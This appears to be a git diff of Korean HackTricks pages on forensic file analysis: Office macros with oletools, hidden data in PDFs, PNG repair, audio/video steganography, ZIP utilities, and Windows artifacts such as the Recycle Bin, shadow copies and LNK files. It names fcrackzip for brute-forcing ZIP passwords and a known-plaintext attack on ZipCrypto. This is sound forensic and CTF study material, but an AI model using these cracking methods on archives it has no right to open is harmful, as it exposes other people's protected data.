* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,58 @@
|
|||
# 오피스 파일 분석
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
더 많은 정보는 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)에서 확인하세요. 이것은 간단한 요약입니다:
|
||||
|
||||
마이크로소프트는 많은 오피스 문서 형식을 만들었는데, 주요 유형은 **OLE 형식** (예: RTF, DOC, XLS, PPT)과 **Office Open XML (OOXML) 형식** (예: DOCX, XLSX, PPTX)이 있습니다. 이러한 형식에는 매크로가 포함될 수 있어서 피싱 및 악성 코드의 대상이 될 수 있습니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어서 압축을 해제하여 파일 및 폴더 계층 구조 및 XML 파일 내용을 확인할 수 있습니다.
|
||||
|
||||
OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령어와 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 숨김에 대한 지속적인 혁신을 나타냅니다.
|
||||
|
||||
분석을 위해 **oletools** 및 **OfficeDissector**는 OLE 및 OOXML 문서를 조사하기 위한 포괄적인 도구 세트를 제공합니다. 이 도구들은 포함된 매크로를 식별하고 분석하는 데 도움이 됩니다. 이러한 매크로는 주로 악성 코드 전달을 위한 벡터로 사용되며, 일반적으로 추가 악성 페이로드를 다운로드하고 실행합니다. VBA 매크로의 분석은 Microsoft Office를 사용하지 않고 Libre Office를 활용하여 디버깅을 할 수 있습니다. 이를 통해 중단점 및 감시 변수로 디버깅할 수 있습니다.
|
||||
|
||||
**oletools**의 설치 및 사용법은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령어가 제공됩니다. `AutoOpen`, `AutoExec`, 또는 `Document_Open`과 같은 함수를 통해 매크로의 자동 실행이 트리거됩니다.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,52 @@
|
|||
# PDF 파일 분석
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**자세한 내용은 여기를 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
PDF 형식은 데이터를 숨기는 데 있어 복잡성과 잠재력으로 알려져 있어 CTF 포렌식 도전 과제의 중심이 됩니다. 이는 이진 객체와 함께 평문 요소를 결합하며, 압축되거나 암호화된 이진 객체를 포함할 수 있으며, JavaScript 또는 Flash와 같은 언어로 된 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [입문 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 Origami와 같은 텍스트 편집기 또는 PDF 특정 편집기와 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
PDF의 심층적인 탐색 또는 조작을 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내의 숨겨진 데이터는 다음 위치에 숨겨질 수 있습니다:
|
||||
|
||||
* 보이지 않는 레이어
|
||||
* Adobe의 XMP 메타데이터 형식
|
||||
* 증분 세대
|
||||
* 배경과 동일한 색상의 텍스트
|
||||
* 이미지 뒤에 있는 텍스트 또는 이미지와 겹치는 텍스트
|
||||
* 표시되지 않는 주석
|
||||
|
||||
사용자 정의 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 구문 분석 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성이 매우 크기 때문에 PDF 위험 및 대책에 관한 NSA 가이드와 같은 리소스는 원래 위치에 더 이상 호스팅되지 않지만 가치 있는 통찰을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 및 Ange Albertini의 [PDF 형식 트릭](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 컬렉션은 해당 주제에 대한 추가 독서 자료를 제공할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,33 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**PNG 파일**은 **CTF 도전과제**에서 **무손실 압축**으로 인해 높이 평가되며, 숨겨진 데이터를 포함하기에 이상적입니다. **Wireshark**와 같은 도구를 사용하여 PNG 파일을 분석하면 네트워크 패킷 내의 데이터를 해체하여 포함된 정보나 이상점을 확인할 수 있습니다.
|
||||
|
||||
PNG 파일의 무결성을 확인하고 손상을 복구하기 위해 **pngcheck**는 핵심 도구로, PNG 파일을 유효성 검사하고 진단하는 명령줄 기능을 제공합니다 ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). 파일이 간단한 수정을 넘어선 경우, [OfficeRecovery의 PixRecovery](https://online.officerecovery.com/pixrecovery/)와 같은 온라인 서비스는 손상된 PNG 파일을 복구하여 CTF 참가자들에게 중요한 데이터를 회복하는 데 도움을 줍니다.
|
||||
|
||||
이러한 전략은 CTF에서 숨겨진 또는 손실된 데이터를 발견하고 복구하기 위해 분석 도구와 복구 기술을 조합한 포괄적인 접근의 중요성을 강조합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,41 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**오디오 및 비디오 파일 조작**은 **CTF 포렌식 도전과제**에서 흔히 사용되며, **스테가노그래피**와 메타데이터 분석을 활용하여 비밀 메시지를 숨기거나 드러내는 데 사용됩니다. **[mediainfo](https://mediaarea.net/en/MediaInfo)**와 **`exiftool`**과 같은 도구는 파일 메타데이터를 검사하고 콘텐츠 유형을 식별하는 데 필수적입니다.
|
||||
|
||||
오디오 도전과제의 경우, 텍스트를 오디오에 인코딩하는 데 필수적인 파형 및 스펙트로그램을 보는 데 주로 사용되는 주요 도구인 **[Audacity](http://www.audacityteam.org/)**가 돋보입니다. 자세한 스펙트로그램 분석을 위해 **[Sonic Visualiser](http://www.sonicvisualiser.org/)**를 강력히 추천합니다. **Audacity**는 음성 메시지를 감지하기 위해 트랙을 감속하거나 반전하는 등의 오디오 조작을 허용합니다. 오디오 파일의 변환 및 편집에는 명령 줄 유틸리티인 **[Sox](http://sox.sourceforge.net/)**가 뛰어납니다.
|
||||
|
||||
**최하위 비트 (LSB)** 조작은 오디오 및 비디오 스테가노그래피에서 흔히 사용되는 기술로, 미디어 파일의 고정 크기 청크를 이용하여 데이터를 은밀하게 포함시킵니다. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**는 **DTMF 톤**이나 **모스 부호**로 숨겨진 메시지를 해독하는 데 유용합니다.
|
||||
|
||||
비디오 도전과제는 종종 오디오 및 비디오 스트림을 번들로 포함하는 컨테이너 형식을 포함합니다. **[FFmpeg](http://ffmpeg.org/)**는 이러한 형식을 분석하고 조작하는 데 가장 많이 사용되며, 다중화 및 콘텐츠 재생이 가능합니다. 개발자를 위해 **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**는 Python에서 FFmpeg의 기능을 고급 스크립트 상호작용을 위해 통합합니다.
|
||||
|
||||
이러한 도구들의 다양성은 CTF 도전과제에서 요구되는 다양한 분석 및 조작 기술을 활용하여 오디오 및 비디오 파일 내에 숨겨진 데이터를 발견해야 하는 능력을 강조합니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,44 @@
|
|||
# ZIP 트릭
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**ZIP 파일**을 관리하기 위한 **명령 줄 도구**는 ZIP 파일의 진단, 복구 및 크랙에 필수적입니다. 다음은 몇 가지 주요 유틸리티입니다:
|
||||
|
||||
- **`unzip`**: ZIP 파일이 압축 해제되지 않을 수 있는 이유를 알려줍니다.
|
||||
- **`zipdetails -v`**: ZIP 파일 형식 필드에 대한 자세한 분석을 제공합니다.
|
||||
- **`zipinfo`**: ZIP 파일의 내용을 추출하지 않고 목록으로 표시합니다.
|
||||
- **`zip -F input.zip --out output.zip`** 및 **`zip -FF input.zip --out output.zip`**: 손상된 ZIP 파일을 복구하려고 시도합니다.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: ZIP 비밀번호의 브루트 포스 크랙을 위한 도구로, 약 7자리까지의 비밀번호에 효과적입니다.
|
||||
|
||||
[ZIP 파일 형식 사양](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)은 ZIP 파일의 구조와 표준에 대한 포괄적인 세부 정보를 제공합니다.
|
||||
|
||||
암호로 보호된 ZIP 파일은 내부의 파일 이름이나 파일 크기를 **암호화하지 않는다는 점**을 꼭 기억해야 합니다. 이는 RAR 또는 7z 파일과는 달리 이 정보를 암호화하지 않는 보안 결함입니다. 또한, 이전의 ZipCrypto 방법으로 암호화된 ZIP 파일은 압축 파일의 암호화되지 않은 복사본이 있는 경우 **평문 공격**에 취약합니다. 이 공격은 알려진 내용을 활용하여 ZIP의 비밀번호를 크랙하는 것으로, [HackThis의 기사](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)에서 자세히 설명되었으며, [이 학술 논문](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf)에서 더 자세히 설명되었습니다. 그러나 **AES-256** 암호화로 보호된 ZIP 파일은 이 평문 공격에 면역이므로, 민감한 데이터에 대해 안전한 암호화 방법을 선택하는 것의 중요성을 보여줍니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,507 @@
|
|||
# Windows Artifacts
|
||||
|
||||
## Windows 아티팩트
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
## 일반적인 Windows 아티팩트
|
||||
|
||||
### Windows 10 알림
|
||||
|
||||
경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`에서 데이터베이스 `appdb.dat` (Windows anniversary 이전) 또는 `wpndatabase.db` (Windows Anniversary 이후)를 찾을 수 있습니다.
|
||||
|
||||
이 SQLite 데이터베이스 내에서 `Notification` 테이블을 찾을 수 있으며, 이 테이블에는 흥미로운 데이터가 포함된 알림 (XML 형식)이 있을 수 있습니다.
|
||||
|
||||
### 타임라인
|
||||
|
||||
타임라인은 Windows의 특징으로, 방문한 웹 페이지, 편집한 문서 및 실행한 애플리케이션의 **시간순** **기록**을 제공합니다.
|
||||
|
||||
데이터베이스는 경로 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`에 있습니다. 이 데이터베이스는 SQLite 도구나 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 도구로 열 수 있으며, 이 도구로 열 수 있는 2개의 파일을 생성합니다. [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) 도구로 열 수 있습니다.
|
||||
|
||||
### ADS (대체 데이터 스트림)
|
||||
|
||||
다운로드한 파일에는 이 파일이 내부망, 인터넷 등에서 **어떻게** 다운로드되었는지를 나타내는 **ADS Zone.Identifier**가 포함될 수 있습니다. 일부 소프트웨어 (예: 브라우저)는 파일이 다운로드된 URL과 같은 **추가 정보**를 보통 포함합니다.
|
||||
|
||||
## **파일 백업**
|
||||
|
||||
### 휴지통
|
||||
|
||||
Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브의 루트 (`C:\$Recycle.bin`)에 있는 폴더 \*\*`$Recycle.bin`\*\*에서 찾을 수 있습니다.\
|
||||
이 폴더에서 파일이 삭제되면 2개의 특정 파일이 생성됩니다:
|
||||
|
||||
* `$I{id}`: 파일 정보 (삭제된 날짜)
|
||||
* `$R{id}`: 파일의 내용
|
||||
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
||||
이러한 파일을 사용하여 도구 [**Rifiuti**](https://github.com/abelcheung/rifiuti2)를 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있습니다 (Vista - Win10의 경우 `rifiuti-vista.exe`를 사용하세요).
|
||||
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||
|
||||
### 볼륨 그림자 복사본
|
||||
|
||||
그림자 복사본은 사용 중인 컴퓨터 파일 또는 볼륨의 **백업 복사본** 또는 스냅샷을 생성할 수 있는 Microsoft Windows에 포함된 기술입니다.
|
||||
|
||||
이러한 백업은 일반적으로 파일 시스템의 루트인 `\System Volume Information`에 위치하며, 이름은 다음 이미지에 표시된 **UID**로 구성됩니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (520).png>)
|
||||
|
||||
**ArsenalImageMounter**를 사용하여 포렌식 이미지를 마운트한 후, 도구 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)를 사용하여 그림자 복사본을 검사하고 그림자 복사본 백업에서 **파일을 추출**할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (521).png>)
|
||||
|
||||
레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`에는 **백업하지 않을** 파일 및 키가 포함되어 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (522).png>)
|
||||
|
||||
레지스트리 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`에는 `Volume Shadow Copies`에 대한 구성 정보도 포함되어 있습니다.
|
||||
|
||||
### 오피스 자동 저장 파일
|
||||
|
||||
오피스 자동 저장 파일은 다음 위치에서 찾을 수 있습니다: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## 쉘 아이템
|
||||
|
||||
쉘 아이템은 다른 파일에 액세스하는 방법에 대한 정보를 포함하는 항목입니다.
|
||||
|
||||
### 최근 문서 (LNK)
|
||||
|
||||
Windows는 사용자가 파일을 **열거나 사용하거나 생성**할 때 **자동으로** 이러한 **바로 가기**를 **생성**합니다:
|
||||
|
||||
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
폴더가 생성되면 해당 폴더, 상위 폴더 및 조부모 폴더에 대한 링크도 생성됩니다.
|
||||
|
||||
이러한 자동으로 생성된 링크 파일은 **원본에 대한 정보**를 포함하며, **파일**인지 **폴더**인지, 해당 파일의 **MAC 시간**, 파일이 저장된 위치의 **볼륨 정보** 및 **대상 파일의 폴더** 등을 포함합니다. 이 정보는 삭제된 경우 해당 파일을 복구하는 데 유용할 수 있습니다.
|
||||
|
||||
